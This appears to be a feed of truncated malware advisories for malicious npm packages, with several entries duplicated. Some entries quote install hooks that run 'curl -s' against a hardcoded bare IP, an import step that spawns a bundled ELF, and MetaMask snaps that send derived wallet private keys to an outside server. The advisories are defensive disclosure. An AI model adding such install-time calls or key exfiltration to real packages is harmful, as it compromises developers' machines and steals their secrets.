Malicious code in create-json-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ed8ecd294b2515f40dbcea497a8a597797b26ca773d6944a3f207249fbbce503 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14406 Malicious code in dext-crate-check (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 329047f71cd6b35084bea7ed22978ba88e02cb557a5490b6133a70a5a0859a19 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in @blurrydespair/libsignal-node (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0b7ff09078e56bd40b5ad38f72027a55a39067b82aaffb0bfe6891e3d6d912e8 Package advertises itself as 'Open Whisper Systems libsignal for Node.js' but ships an install.js that has nothing to do with libsignal. On require o...

MAL-2026-14403 Malicious code in react-emits (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 91c19bc51fdcc52d657031b8a30c2fff700771d0948672a47033628784ec8acc Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in react-emits (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 91c19bc51fdcc52d657031b8a30c2fff700771d0948672a47033628784ec8acc Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-14398 Malicious code in sm-oauth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 98d60527238d1284ed569a2fa7611ff2b430e1ebfab579f597f42a1eb28f49bc package.json declares preinstall and postinstall scripts that run curl -s http://16.192.173.5/sm-oauth/pre and curl -s...

Malicious code in @opap/player-kyc-widget (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector abfe2a5c5b34e28b415fb39f20acea1ec320ef85aeb9577c9a52153630f964fc The package's postinstall script runs automatically on npm install and collects host identifiers hostname, username, cwd, platform, arch from the...

MAL-2026-14387 Malicious code in @opap/player-kyc-widget (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector abfe2a5c5b34e28b415fb39f20acea1ec320ef85aeb9577c9a52153630f964fc The package's postinstall script runs automatically on npm install and collects host identifiers hostname, username, cwd, platform, arch from the...

Malicious code in sm-checkout (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bc8dabb0ecf46dc57dd07dacdf28c9cddf629ffb8e9b0cea75e71cd999feaf0 [email protected] declares preinstall and postinstall lifecycle scripts in package.json that invoke curl against a hardcoded bare-IP URL over plain...

Malicious code in sm-admin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fa2741ebbd0df8c6f349a4d34361cc3d814fe878f3f4521fd771a855cfdc152b Package [email protected] defines preinstall and postinstall lifecycle scripts that issue plain-HTTP GET requests to a hardcoded bare-IP endpoint at...

MAL-2026-14393 Malicious code in sm-admin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fa2741ebbd0df8c6f349a4d34361cc3d814fe878f3f4521fd771a855cfdc152b Package [email protected] defines preinstall and postinstall lifecycle scripts that issue plain-HTTP GET requests to a hardcoded bare-IP endpoint at...

Malicious code in sm-cart (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0 Package [email protected] declares preinstall and postinstall scripts that unconditionally run curl -s http://16.192.173.5/sm-cart/pre and curl -s...

MAL-2026-14395 Malicious code in sm-billing-form (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 422b9f6c71b124deff27a41ef4b595c308595c14af77dbd3756de0e625f86fc2 package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s...

Malicious code in svelte-dim-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1857f7f4957bdb18eb0d5a997d957a38b825b62660f16d6a981232794cc10af0 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14386 Malicious code in svelte-dim-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1857f7f4957bdb18eb0d5a997d957a38b825b62660f16d6a981232794cc10af0 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in hydration-dim-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3659ec02e8317602c089b822a4a0533bee515d9666d07fdaf3cdf8b315a46147 On import, dist/index.mjs verifies a SHA-256 digest of a bundled Linux x8664 ELF at dist/internal/calc.dat, chmods it to 0755, and spawns it detached...

Malicious code in @sdgdfgdfhhhfd/multiviewr (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3e2d548769641b2114a424739448d9df85d67cc176e694c6ff34ede446082b76 This package publishes a MetaMask snap that derives BIP44 entropy for coinType 60 Ethereum and transmits the resulting privateKey, publicKey and...

MAL-2026-14383 Malicious code in @sdgdfgdfhhhfd/multiviewr (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3e2d548769641b2114a424739448d9df85d67cc176e694c6ff34ede446082b76 This package publishes a MetaMask snap that derives BIP44 entropy for coinType 60 Ethereum and transmits the resulting privateKey, publicKey and...

Malicious code in @sdgdfgdfhhhfd/chainvista (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8bf04f8e698eac423b3ba255617c60c9167b4b3453b7d73966ad62b02e0695a1 This MetaMask Snap derives BIP44 entropy for Ethereum coinType 60, Bitcoin 0, Solana 501, Cosmos 118, and Testnet 1 and POSTs the raw privateKey,...

MAL-2026-14382 Malicious code in @sdgdfgdfhhhfd/chainvista (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8bf04f8e698eac423b3ba255617c60c9167b4b3453b7d73966ad62b02e0695a1 This MetaMask Snap derives BIP44 entropy for Ethereum coinType 60, Bitcoin 0, Solana 501, Cosmos 118, and Testnet 1 and POSTs the raw privateKey,...